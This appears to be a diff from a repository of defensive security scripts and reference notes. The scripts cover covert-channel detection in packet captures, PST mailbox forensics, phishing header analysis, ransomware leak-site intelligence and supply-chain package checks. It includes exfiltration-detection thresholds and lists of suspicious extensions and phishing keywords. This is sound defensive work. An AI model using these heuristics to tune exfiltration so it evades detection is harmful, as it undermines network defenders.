def detect_icmp_covert_channel(packets, payload_threshold=64):
"""Detect ICMP covert channels via payload analysis."""
findings = []
icmp_flows = defaultdict(list)
for pkt in packets:
if pkt.haslayer(ICMP) and pkt.haslayer(Raw):
payload = bytes(pkt[Raw].load)
src = pkt[IP].src if pkt.haslayer(IP) else "?"
dst = pkt[IP].dst if pkt.haslayer(IP) else "?"
entropy = shannon_entropy(payload)
flow_key = f"{src}->{dst}"
icmp_flows[flow_key].append(payload)
if len(payload) > payload_threshold and entropy > 5.0:
findings.append({
"type": "icmp_covert", "src": src, "dst": dst,
"icmp_type": pkt[ICMP].type,
"payload_size": len(payload),
"entropy": round(entropy, 3), "severity": "HIGH",
})
for flow, payloads in icmp_flows.items():
total_bytes = sum(len(p) for p in payloads)
if total_bytes > 10000:
findings.append({
"type": "icmp_exfiltration", "flow": flow,
"total_bytes": total_bytes,
"packet_count": len(payloads), "severity": "HIGH",
})
return findings[:50]
def detect_http_header_covert(packets):
"""Detect covert data in HTTP headers."""
findings = []
for pkt in packets:
if pkt.haslayer(TCP) and pkt.haslayer(Raw):
try:
payload = bytes(pkt[Raw].load).decode("utf-8", errors="replace")
except Exception:
continue
if not payload.startswith(("GET ", "POST ", "HTTP/")):
continue
for line in payload.split("\r\n"):
if ":" not in line:
continue
header, _, value = line.partition(":")
value = value.strip()
if header.lower() == "cookie" and len(value) > 500:
entropy = shannon_entropy(value.encode())
if entropy > 4.5:
findings.append({
"type": "http_cookie_exfil", "header": header,
"value_length": len(value),
"entropy": round(entropy, 3), "severity": "MEDIUM",
})
if header.lower().startswith("x-") and len(value) > 100:
entropy = shannon_entropy(value.encode())
if entropy > 4.0:
findings.append({
"type": "http_custom_header", "header": header,
"value_length": len(value),
"entropy": round(entropy, 3), "severity": "MEDIUM",
})
return findings[:50]
def detect_protocol_anomalies(packets):
"""Detect protocol-level anomalies indicating covert communication."""
findings = []
for pkt in packets:
if pkt.haslayer(IP):
proto = pkt[IP].proto
if proto not in (1, 6, 17, 47, 50, 51):
findings.append({
"type": "unusual_ip_proto", "protocol": proto,
"src": pkt[IP].src, "dst": pkt[IP].dst, "severity": "MEDIUM",
})
return findings[:50]
def generate_report(pcap_path, dns_f, dns_v, icmp_f, http_f, proto_f):
"""Generate covert channel analysis report."""
total = len(dns_f) + len(icmp_f) + len(http_f) + len(proto_f)
return {
"pcap_file": pcap_path, "total_findings": total,
"dns_tunneling": {"count": len(dns_f), "findings": dns_f[:10]},
"dns_volume_anomalies": dns_v[:10],
"icmp_covert": {"count": len(icmp_f), "findings": icmp_f[:10]},
"http_header_covert": {"count": len(http_f), "findings": http_f[:10]},
"protocol_anomalies": {"count": len(proto_f), "findings": proto_f[:10]},
"risk_level": "HIGH" if total > 10 else "MEDIUM" if total > 3 else "LOW",
}
if __name__ == "__main__":
print("=" * 60)
print("Network Covert Channel Detection Agent")
print("DNS tunneling, ICMP covert, HTTP header, protocol abuse")
print("=" * 60)
pcap = sys.argv[1] if len(sys.argv) > 1 else None
if not pcap or not os.path.exists(pcap):
print("\n[DEMO] Usage: python agent.py <capture.pcap>")
print(f" scapy available: {HAS_SCAPY}")
sys.exit(0)
if not HAS_SCAPY:
print("[!] Install scapy: pip install scapy")
sys.exit(1)
print(f"\n[*] Loading: {pcap}")
packets = rdpcap(pcap)
print(f"[*] Packets: {len(packets)}")
dns_f, dns_v = detect_dns_tunneling(packets)
icmp_f = detect_icmp_covert_channel(packets)
http_f = detect_http_header_covert(packets)
proto_f = detect_protocol_anomalies(packets)
report = generate_report(pcap, dns_f, dns_v, icmp_f, http_f, proto_f)
print(f"\n--- DNS Tunneling ({len(dns_f)}) ---")
for f in dns_f[:5]:
print(f" {f['src']} | entropy={f['entropy']} | {f['query'][:60]}")
print(f"\n--- ICMP Covert ({len(icmp_f)}) ---")
for f in icmp_f[:5]:
print(f" {f.get('flow', f.get('src','?'))} | {f.get('payload_size', f.get('total_bytes','?'))}B")
print(f"\n[*] Risk: {report['risk_level']}")
print(json.dumps(report, indent=2, default=str))
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -0,0 +1,98 @@
# API Reference: Outlook PST Email Forensics
## pypff (libpff Python bindings)
### Installation
```bash
pip install libpff-python
```
### Opening a PST File
```python
import pypff
pst = pypff.file()
pst.open("mailbox.pst")
root = pst.get_root_folder()
```
### Navigating Folders
```python
for i in range(root.number_of_sub_folders):
folder = root.get_sub_folder(i)
print(f"{folder.name}: {folder.number_of_sub_messages} messages")
```
### Extracting Messages
```python
msg = folder.get_sub_message(0)
print(msg.subject)
print(msg.sender_name)
print(msg.delivery_time)
print(msg.transport_headers)
print(msg.plain_text_body)
print(msg.html_body)
```
### Extracting Attachments
```python
for i in range(msg.number_of_attachments):
att = msg.get_attachment(i)
print(f"Name: {att.name}, Size: {att.size}")
data = att.read_buffer(att.size)
```
## pffexport (CLI)
### Syntax
```bash
pffexport mailbox.pst # Export all to current dir
pffexport -m all mailbox.pst # Export all message types
pffexport -t target_dir mailbox.pst # Export to target directory
pffexport -f text mailbox.pst # Export as text format
```
### Output Structure
```
Export/
Inbox/
Message001/
Message.txt
Attachment001.pdf
Sent Items/
Deleted Items/
```
## readpst (libpst)
### Syntax
```bash
readpst -o output_dir mailbox.pst # Extract to dir
readpst -e mailbox.pst # Extract attachments
readpst -r mailbox.pst # Recursive extraction
readpst -j 4 mailbox.pst # Parallel (4 threads)
readpst -S mailbox.pst # Separate files per message
```
## PST File Structure
| Component | Description |
|-----------|-------------|
| NDB Layer | Node Database - raw data storage |
| LTP Layer | Lists/Tables/Properties - message properties |
| Messaging Layer | Folders, messages, attachments |
## Key Message Properties
| Property | MAPI Tag | Description |
|----------|----------|-------------|
| Subject | PR_SUBJECT (0x0037) | Email subject |
| Sender | PR_SENDER_NAME (0x0C1A) | Sender display name |
| From | PR_SENT_REPRESENTING_EMAIL (0x0065) | Sender email |
| Delivery Time | PR_MESSAGE_DELIVERY_TIME (0x0E06) | When delivered |
| Headers | PR_TRANSPORT_MESSAGE_HEADERS (0x007D) | Full SMTP headers |
## Forensic Considerations
- Deleted Items folder may contain evidence
- Recoverable Items (dumpster) requires special extraction
- Calendar/Contacts may contain relevant data
- Journal entries can provide timeline evidence
@@ -0,0 +1,180 @@
#!/usr/bin/env python3
"""Outlook PST file forensic analysis agent.
Parses PST/OST files using pypff (libpff) to extract emails, attachments,
metadata, and deleted items for forensic investigation.
"""
import os
import sys
import json
import hashlib
import re
from datetime import datetime
from collections import defaultdict
try:
import pypff
HAS_PYPFF = True
except ImportError:
HAS_PYPFF = False
def compute_hash(filepath):
sha256 = hashlib.sha256()
with open(filepath, "rb") as f:
for chunk in iter(lambda: f.read(65536), b""):
sha256.update(chunk)
return sha256.hexdigest()
def open_pst(filepath):
if not HAS_PYPFF:
return None, "pypff not installed. pip install libpff-python"
pst = pypff.file()
pst.open(filepath)
return pst, None
def extract_messages(folder, max_messages=1000):
messages = []
for i in range(min(folder.number_of_sub_messages, max_messages)):
msg = folder.get_sub_message(i)
entry = {
"subject": msg.subject or "",
"sender": msg.sender_name or "",
"headers": (msg.transport_headers or "")[:500],
"creation_time": str(msg.creation_time) if msg.creation_time else "",
"delivery_time": str(msg.delivery_time) if msg.delivery_time else "",
"has_attachments": msg.number_of_attachments > 0,
"attachment_count": msg.number_of_attachments,
"body_size": len(msg.plain_text_body or "") if msg.plain_text_body else 0,
}
# Extract attachment metadata
attachments = []
for j in range(msg.number_of_attachments):
att = msg.get_attachment(j)
attachments.append({
"name": att.name or f"attachment_{j}",
"size": att.size,
})
entry["attachments"] = attachments
messages.append(entry)
return messages
def walk_folders(folder, path="", results=None):
if results is None:
results = []
current_path = f"{path}/{folder.name}" if folder.name else path or "/Root"
messages = extract_messages(folder)
if messages:
results.append({
"folder": current_path,
"message_count": len(messages),
"messages": messages,
})
for i in range(folder.number_of_sub_folders):
subfolder = folder.get_sub_folder(i)
walk_folders(subfolder, current_path, results)
return results
def extract_email_addresses(messages):
addresses = set()
email_pattern = re.compile(r"[\w.+-]+@[\w-]+\.[\w.-]+")
for msg in messages:
for field in [msg.get("sender", ""), msg.get("headers", "")]:
addresses.update(email_pattern.findall(field))
return sorted(addresses)
def detect_suspicious_emails(messages):
findings = []
suspicious_exts = [".exe", ".scr", ".bat", ".cmd", ".ps1", ".vbs",
".js", ".hta", ".lnk", ".iso", ".img"]
for msg in messages:
for att in msg.get("attachments", []):
name = (att.get("name") or "").lower()
for ext in suspicious_exts:
if name.endswith(ext):
findings.append({
"type": "suspicious_attachment",
"subject": msg.get("subject", "")[:80],
"attachment": att.get("name"),
"extension": ext,
"severity": "HIGH",
})
subject = (msg.get("subject") or "").lower()
urgency_words = ["urgent", "immediate action", "password expired",
"verify your account", "suspended", "click here"]
for word in urgency_words:
if word in subject:
findings.append({
"type": "phishing_indicator",
"subject": msg.get("subject", "")[:80],
"keyword": word,
"severity": "MEDIUM",
})
break
return findings
def generate_report(filepath, folder_data):
all_messages = []
for fd in folder_data:
all_messages.extend(fd.get("messages", []))
addresses = extract_email_addresses(all_messages)
suspicious = detect_suspicious_emails(all_messages)
return {
"file": filepath,
"sha256": compute_hash(filepath),
"size": os.path.getsize(filepath),
"total_folders": len(folder_data),
"total_messages": len(all_messages),
"unique_addresses": len(addresses),
"top_addresses": addresses[:20],
"suspicious_findings": suspicious,
"folders": [{
"path": f["folder"],
"count": f["message_count"],
} for f in folder_data],
}
if __name__ == "__main__":
print("=" * 60)
print("Outlook PST Forensic Analysis Agent")
print("Email extraction, attachment analysis, phishing detection")
print("=" * 60)
target = sys.argv[1] if len(sys.argv) > 1 else None
if not target or not os.path.exists(target):
print("\n[DEMO] Usage: python agent.py <mailbox.pst>")
print(f" pypff available: {HAS_PYPFF}")
sys.exit(0)
pst, err = open_pst(target)
if err:
print(f"[!] {err}")
sys.exit(1)
print(f"\n[*] Parsing: {target}")
root = pst.get_root_folder()
folder_data = walk_folders(root)
report = generate_report(target, folder_data)
print(f"[*] Folders: {report['total_folders']}")
print(f"[*] Messages: {report['total_messages']}")
print(f"[*] Unique addresses: {report['unique_addresses']}")
print("\n--- Folder Structure ---")
for f in report["folders"]:
print(f" {f['path']}: {f['count']} messages")
print(f"\n--- Suspicious ({len(report['suspicious_findings'])}) ---")
for s in report["suspicious_findings"][:10]:
print(f" [{s['severity']}] {s['type']}: {s.get('attachment', s.get('keyword', ''))}")
pst.close()
print(f"\n{json.dumps(report, indent=2, default=str)}")
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -0,0 +1,90 @@
# API Reference: Phishing Email Header Analysis
## Python email Module
### Parsing Email Files
```python
import email
with open("message.eml", "r") as f:
msg = email.message_from_string(f.read())
print(msg["From"])
print(msg["Subject"])
print(msg.get_all("Received"))
print(msg["Authentication-Results"])
```
### Extracting Body
```python
if msg.is_multipart():
for part in msg.walk():
if part.get_content_type() == "text/html":
body = part.get_payload(decode=True).decode()
```
## Key Email Headers for Forensics
| Header | Purpose |
|--------|---------|
| `Received` | Mail server routing chain (bottom = origin) |
| `From` | Claimed sender (can be spoofed) |
| `Return-Path` | Envelope sender for bounces |
| `Reply-To` | Where replies go (phishing: often different from From) |
| `Authentication-Results` | SPF/DKIM/DMARC verdicts |
| `Received-SPF` | SPF check result |
| `DKIM-Signature` | DKIM cryptographic signature |
| `X-Mailer` | Sending software |
| `Message-ID` | Unique message identifier |
| `X-Originating-IP` | Original sender IP |
## Authentication Checks
### SPF Status Values
| Value | Meaning |
|-------|---------|
| `pass` | Sender IP authorized |
| `fail` | Sender IP not authorized |
| `softfail` | Not authorized but not rejected |
| `neutral` | No SPF policy for domain |
| `none` | No SPF record exists |
### DKIM Verification
```bash
opendkim-testmsg < message.eml
# Or in Authentication-Results: dkim=pass header.d=example.com
```
### DMARC Policy Check
```bash
dig _dmarc.example.com TXT
# v=DMARC1; p=reject; rua=mailto:dmarc@example.com
```
## Phishing Detection Indicators
| Indicator | Severity | Description |
|-----------|----------|-------------|
| SPF fail | HIGH | Sender IP not in domain's SPF record |
| Reply-To mismatch | HIGH | Reply-To different from From address |
| Email in display name | HIGH | Display name contains email address |
| IP-based URL | HIGH | Links point to raw IP addresses |
| Urgency keywords | MEDIUM | Subject contains "urgent", "action required" |
| URL shortener | MEDIUM | Links use bit.ly, tinyurl, etc. |
| New domain | MEDIUM | Sending domain registered recently |
| PHPMailer X-Mailer | MEDIUM | Bulk mailer software |
## msgconvert (Perl)
### Convert MSG to EML
```bash
msgconvert message.msg # Outputs message.eml
msgconvert --outfile out.eml msg.msg # Specify output
```
## emlAnalyzer (Python)
### Installation and Usage
```bash
pip install eml-analyzer
emlAnalyzer -i message.eml --header --html --attachments
```
@@ -0,0 +1,216 @@
#!/usr/bin/env python3
"""Phishing email header analysis agent.
Parses email headers to detect spoofing, authentication failures,
suspicious routing, and phishing indicators.
"""
import os
import sys
import json
import re
import email
import email.utils
from datetime import datetime
from collections import OrderedDict
def parse_email_file(filepath):
with open(filepath, "r", encoding="utf-8", errors="replace") as f:
return email.message_from_string(f.read())
def extract_received_chain(msg):
chain = []
for header in msg.get_all("Received", []):
entry = {"raw": header.strip()[:300]}
from_match = re.search(r"from\s+([\w.-]+)", header)
by_match = re.search(r"by\s+([\w.-]+)", header)
ip_match = re.search(r"\[(\d+\.\d+\.\d+\.\d+)\]", header)
date_match = re.search(r";\s*(.+)$", header)
if from_match:
entry["from_host"] = from_match.group(1)
if by_match:
entry["by_host"] = by_match.group(1)
if ip_match:
entry["ip"] = ip_match.group(1)
if date_match:
entry["date"] = date_match.group(1).strip()[:60]
chain.append(entry)
return chain
def check_spf(msg):
spf_headers = msg.get_all("Received-SPF", [])
auth_results = msg.get("Authentication-Results", "")
result = {"status": "none", "details": ""}
for h in spf_headers:
h_lower = h.lower()
if "pass" in h_lower:
result = {"status": "pass", "details": h[:200]}
elif "fail" in h_lower or "softfail" in h_lower:
result = {"status": "fail", "details": h[:200]}
elif "neutral" in h_lower:
result = {"status": "neutral", "details": h[:200]}
if "spf=" in auth_results.lower():
spf_match = re.search(r"spf=(\w+)", auth_results, re.IGNORECASE)
if spf_match:
result["auth_result_spf"] = spf_match.group(1)
return result
def check_dkim(msg):
auth_results = msg.get("Authentication-Results", "")
dkim_sig = msg.get("DKIM-Signature", "")
result = {"status": "none", "domain": ""}
if "dkim=" in auth_results.lower():
dkim_match = re.search(r"dkim=(\w+)", auth_results, re.IGNORECASE)
if dkim_match:
result["status"] = dkim_match.group(1)
if dkim_sig:
d_match = re.search(r"d=([\w.-]+)", dkim_sig)
if d_match:
result["domain"] = d_match.group(1)
return result
def check_dmarc(msg):
auth_results = msg.get("Authentication-Results", "")
result = {"status": "none"}
if "dmarc=" in auth_results.lower():
dmarc_match = re.search(r"dmarc=(\w+)", auth_results, re.IGNORECASE)
if dmarc_match:
result["status"] = dmarc_match.group(1)
return result
def extract_urls(msg):
urls = set()
body = ""
if msg.is_multipart():
for part in msg.walk():
ct = part.get_content_type()
if ct in ("text/plain", "text/html"):
payload = part.get_payload(decode=True)
if payload:
body += payload.decode("utf-8", errors="replace")
else:
payload = msg.get_payload(decode=True)
if payload:
body = payload.decode("utf-8", errors="replace")
urls.update(re.findall(r"https?://[^\s<>\"')\]]+", body))
href_urls = re.findall(r'href=["\']([^"\']+)["\']', body)
urls.update(u for u in href_urls if u.startswith("http"))
return sorted(urls)
def detect_display_name_spoofing(msg):
from_header = msg.get("From", "")
reply_to = msg.get("Reply-To", "")
findings = []
name, addr = email.utils.parseaddr(from_header)
if name and addr:
if re.search(r"@", name):
findings.append({
"type": "email_in_display_name",
"detail": f"Display name contains email: {name}",
})
if reply_to:
_, reply_addr = email.utils.parseaddr(reply_to)
if reply_addr and addr and reply_addr.lower() != addr.lower():
findings.append({
"type": "reply_to_mismatch",
"detail": f"From: {addr} vs Reply-To: {reply_addr}",
})
return findings
def detect_phishing_indicators(msg, urls):
indicators = []
subject = msg.get("Subject", "").lower()
urgency = ["urgent", "immediate", "action required", "suspended",
"verify", "expires today", "click here", "limited time"]
for word in urgency:
if word in subject:
indicators.append({
"type": "urgency_subject", "keyword": word, "severity": "MEDIUM",
})
break
for url in urls:
if re.search(r"https?://\d+\.\d+\.\d+\.\d+", url):
indicators.append({
"type": "ip_url", "url": url[:100], "severity": "HIGH",
})
if len(url) > 200:
indicators.append({
"type": "long_url", "url_length": len(url), "severity": "MEDIUM",
})
x_mailer = msg.get("X-Mailer", "")
if x_mailer and any(s in x_mailer.lower() for s in ["phpmailer", "swiftmailer"]):
indicators.append({
"type": "suspicious_mailer", "mailer": x_mailer, "severity": "MEDIUM",
})
return indicators
def generate_report(filepath, msg):
received = extract_received_chain(msg)
spf = check_spf(msg)
dkim = check_dkim(msg)
dmarc = check_dmarc(msg)
urls = extract_urls(msg)
spoofing = detect_display_name_spoofing(msg)
phishing = detect_phishing_indicators(msg, urls)
return {
"file": filepath,
"subject": msg.get("Subject", ""),
"from": msg.get("From", ""),
"to": msg.get("To", ""),
"date": msg.get("Date", ""),
"message_id": msg.get("Message-ID", ""),
"received_hops": len(received),
"received_chain": received,
"authentication": {"spf": spf, "dkim": dkim, "dmarc": dmarc},
"urls_found": len(urls),
"urls": urls[:20],
"spoofing_indicators": spoofing,
"phishing_indicators": phishing,
"verdict": "SUSPICIOUS" if (phishing or spoofing or
spf.get("status") == "fail") else "CLEAN",
}
if __name__ == "__main__":
print("=" * 60)
print("Phishing Email Header Analysis Agent")
print("SPF/DKIM/DMARC, spoofing detection, URL extraction")
print("=" * 60)
target = sys.argv[1] if len(sys.argv) > 1 else None
if not target or not os.path.exists(target):
print("\n[DEMO] Usage: python agent.py <email.eml>")
sys.exit(0)
msg = parse_email_file(target)
report = generate_report(target, msg)
print(f"\n[*] Subject: {report['subject']}")
print(f"[*] From: {report['from']}")
print(f"[*] Date: {report['date']}")
print(f"[*] Received hops: {report['received_hops']}")
auth = report["authentication"]
print(f"\n--- Authentication ---")
print(f" SPF: {auth['spf']['status']}")
print(f" DKIM: {auth['dkim']['status']}")
print(f" DMARC: {auth['dmarc']['status']}")
print(f"\n--- URLs ({report['urls_found']}) ---")
for u in report["urls"][:5]:
print(f" {u[:80]}")
print(f"\n--- Indicators ---")
for i in report["phishing_indicators"] + report["spoofing_indicators"]:
print(f" [{i.get('severity','INFO')}] {i['type']}: {i.get('detail', i.get('keyword', ''))}")
print(f"\n[*] Verdict: {report['verdict']}")
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -0,0 +1,100 @@
# API Reference: Ransomware Leak Site Intelligence
## ransomware.live API
### Recent Victims
```bash
curl https://api.ransomware.live/recentvictims
```
### Group Information
```bash
curl https://api.ransomware.live/groups
curl https://api.ransomware.live/group/lockbit3
```
### Response Format
```json
{
"group_name": "lockbit3",
"victim": "company-name",
"website": "company.com",
"discovered": "2024-03-15T00:00:00Z",
"country": "US",
"activity": "Manufacturing"
}
```
## ransomlook.io API
### Endpoints
```bash
curl https://www.ransomlook.io/api/groups # List all groups
curl https://www.ransomlook.io/api/group/lockbit # Group details
curl https://www.ransomlook.io/api/recent # Recent posts
```
## Ransomwatch (GitHub)
### Data Repository
```bash
git clone https://github.com/joshhighet/ransomwatch
# Data in JSON format: posts.json, groups.json
```
### JSON Schema
```json
{
"group_name": "string",
"post_title": "string",
"discovered": "ISO-8601",
"post_url": "onion URL",
"country": "2-letter code",
"activity": "sector"
}
```
## ID Ransomware
### Identification
```
Upload: encrypted file + ransom note
URL: https://id-ransomware.malwarehunterteam.com/
Returns: ransomware family, decryptor availability
```
## Active Ransomware Groups (2025)
| Group | Status | Primary Target |
|-------|--------|---------------|
| LockBit 3.0 | Active | Cross-sector |
| Cl0p | Active | MOVEit/file transfer exploitation |
| Play | Active | Manufacturing, IT |
| 8Base | Active | SMBs |
| Akira | Active | Healthcare, Education |
| Black Basta | Active | Enterprise |
| Medusa | Active | Education, Healthcare |
| RansomHub | Active | Cross-sector |
| Rhysida | Active | Government, Healthcare |
| BianLian | Active | Healthcare, Manufacturing |
## Intelligence Collection Framework
| Source | Type | Update Frequency |
|--------|------|------------------|
| ransomware.live | Victim listings | Real-time |
| ransomlook.io | Group monitoring | Daily |
| ransomwatch | Onion site scraping | Hourly |
| NoMoreRansom.org | Decryptor availability | As released |
| CISA alerts | Government advisories | As published |
## STIX Representation
```json
{
"type": "threat-actor",
"name": "LockBit",
"threat_actor_types": ["crime-syndicate"],
"roles": ["agent"],
"goals": ["financial-gain"]
}
```
@@ -0,0 +1,200 @@
#!/usr/bin/env python3
"""Ransomware leak site intelligence analysis agent.
Monitors and analyzes ransomware group leak site data for threat intelligence,
victim tracking, and TTI (time-to-intelligence) reporting.
"""
import os
import sys
import json
import re
import hashlib
from datetime import datetime, timedelta
from collections import defaultdict, Counter
try:
import requests
HAS_REQUESTS = True
except ImportError:
HAS_REQUESTS = False
RANSOMWARE_GROUPS = {
"lockbit": {"aliases": ["LockBit 3.0", "LockBit Black"], "status": "active"},
"alphv": {"aliases": ["BlackCat", "ALPHV"], "status": "disrupted"},
"cl0p": {"aliases": ["Clop", "TA505"], "status": "active"},
"play": {"aliases": ["PlayCrypt"], "status": "active"},
"8base": {"aliases": ["8Base"], "status": "active"},
"akira": {"aliases": ["Akira"], "status": "active"},
"bianlian": {"aliases": ["BianLian"], "status": "active"},
"blackbasta": {"aliases": ["Black Basta"], "status": "active"},
"medusa": {"aliases": ["MedusaLocker", "Medusa Blog"], "status": "active"},
"rhysida": {"aliases": ["Rhysida"], "status": "active"},
"royal": {"aliases": ["Royal", "BlackSuit"], "status": "rebranded"},
"ransomhub": {"aliases": ["RansomHub"], "status": "active"},
}
def query_ransomwatch_api():
"""Query ransomwatch or ransomware.live API for leak site data."""
if not HAS_REQUESTS:
return []
try:
resp = requests.get("https://api.ransomware.live/recentvictims",
timeout=30)
resp.raise_for_status()
return resp.json()
except requests.RequestException as e:
return [{"error": str(e)}]
def query_ransomlook_group(group_name):
"""Query ransomlook.io API for group information."""
if not HAS_REQUESTS:
return {}
try:
resp = requests.get(f"https://www.ransomlook.io/api/group/{group_name}",
timeout=30)
resp.raise_for_status()
return resp.json()
except requests.RequestException:
return {}
def analyze_victim_data(victims):
"""Analyze victim listing data for intelligence."""
sector_counts = Counter()
country_counts = Counter()
group_counts = Counter()
timeline = defaultdict(int)
for v in victims:
group = v.get("group_name", v.get("group", "unknown")).lower()
group_counts[group] += 1
sector = v.get("activity", v.get("sector", "unknown"))
if sector:
sector_counts[sector] += 1
country = v.get("country", "unknown")
if country:
country_counts[country] += 1
date_str = v.get("discovered", v.get("published", ""))
if date_str:
try:
dt = datetime.fromisoformat(date_str.replace("Z", "+00:00"))
timeline[dt.strftime("%Y-%m")] += 1
except (ValueError, TypeError):
pass
return {
"total_victims": len(victims),
"top_groups": dict(group_counts.most_common(10)),
"top_sectors": dict(sector_counts.most_common(10)),
"top_countries": dict(country_counts.most_common(10)),
"monthly_trend": dict(sorted(timeline.items())),
}
def search_victims(victims, query):
"""Search victims by name, domain, or sector."""
results = []
query_lower = query.lower()
for v in victims:
name = (v.get("victim", v.get("post_title", "")) or "").lower()
website = (v.get("website", "") or "").lower()
sector = (v.get("activity", v.get("sector", "")) or "").lower()
if query_lower in name or query_lower in website or query_lower in sector:
results.append(v)
return results
def assess_group_activity(victims, group_name, days=90):
"""Assess activity level of a specific ransomware group."""
cutoff = datetime.now() - timedelta(days=days)
group_victims = []
for v in victims:
g = (v.get("group_name", v.get("group", "")) or "").lower()
if group_name.lower() in g:
group_victims.append(v)
recent = []
for v in group_victims:
date_str = v.get("discovered", v.get("published", ""))
if date_str:
try:
dt = datetime.fromisoformat(date_str.replace("Z", "+00:00"))
if dt.replace(tzinfo=None) > cutoff:
recent.append(v)
except (ValueError, TypeError):
pass
info = RANSOMWARE_GROUPS.get(group_name.lower(), {})
return {
"group": group_name,
"aliases": info.get("aliases", []),
"status": info.get("status", "unknown"),
"total_victims": len(group_victims),
"recent_victims": len(recent),
"period_days": days,
"activity_level": "HIGH" if len(recent) > 20 else "MEDIUM" if len(recent) > 5 else "LOW",
}
def generate_intelligence_report(victims, target_org=None):
"""Generate ransomware threat intelligence report."""
analysis = analyze_victim_data(victims)
report = {
"report_date": datetime.now().isoformat(),
"data_source": "ransomware.live API",
"analysis": analysis,
}
if target_org:
matches = search_victims(victims, target_org)
report["org_search"] = {
"query": target_org,
"matches": len(matches),
"results": matches[:10],
}
return report
if __name__ == "__main__":
print("=" * 60)
print("Ransomware Leak Site Intelligence Agent")
print("Victim tracking, group analysis, sector trends")
print("=" * 60)
query = sys.argv[1] if len(sys.argv) > 1 else None
if not HAS_REQUESTS:
print("[!] Install requests: pip install requests")
sys.exit(1)
print("\n[*] Fetching recent ransomware victims...")
victims = query_ransomwatch_api()
if not victims or (len(victims) == 1 and "error" in victims[0]):
print(f"[!] API error: {victims}")
sys.exit(1)
print(f"[*] Retrieved {len(victims)} victim entries")
report = generate_intelligence_report(victims, target_org=query)
analysis = report["analysis"]
print(f"\n--- Top Groups ---")
for g, c in list(analysis["top_groups"].items())[:5]:
print(f" {g:20s} {c} victims")
print(f"\n--- Top Sectors ---")
for s, c in list(analysis["top_sectors"].items())[:5]:
print(f" {s:30s} {c}")
print(f"\n--- Top Countries ---")
for co, c in list(analysis["top_countries"].items())[:5]:
print(f" {co:20s} {c}")
if query:
matches = report.get("org_search", {})
print(f"\n--- Search: '{query}' ({matches.get('matches', 0)} results) ---")
for m in matches.get("results", [])[:5]:
print(f" {m.get('group_name', '?'):15s} | {m.get('victim', m.get('post_title', '?'))}")
print(f"\n{json.dumps(report, indent=2, default=str)}")
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -0,0 +1,85 @@
# API Reference: Supply Chain Malware Analysis
## npm Registry API
### Package Metadata
```bash
curl https://registry.npmjs.org/<package-name>
curl https://registry.npmjs.org/<package-name>/<version>
```
### Response Fields
| Field | Description |
|-------|-------------|
| `dist-tags.latest` | Latest version |
| `versions` | All published versions |
| `maintainers` | Package maintainers |
| `time.created` | First publish date |
| `time.modified` | Last modification |
## PyPI JSON API
### Package Info
```bash
curl https://pypi.org/pypi/<package-name>/json
```
### Key Fields
| Field | Description |
|-------|-------------|
| `info.author` | Package author |
| `info.version` | Current version |
| `releases` | All versions with artifacts |
| `info.project_urls` | Source code links |
## Socket.dev - Supply Chain Analysis
### npm Audit
```bash
socket npm audit
socket npm info <package>
```
## Suspicious Package Indicators
| Indicator | Severity | Description |
|-----------|----------|-------------|
| preinstall/postinstall hooks | HIGH | Code runs during npm install |
| URL/git dependencies | HIGH | Dependencies from non-registry source |
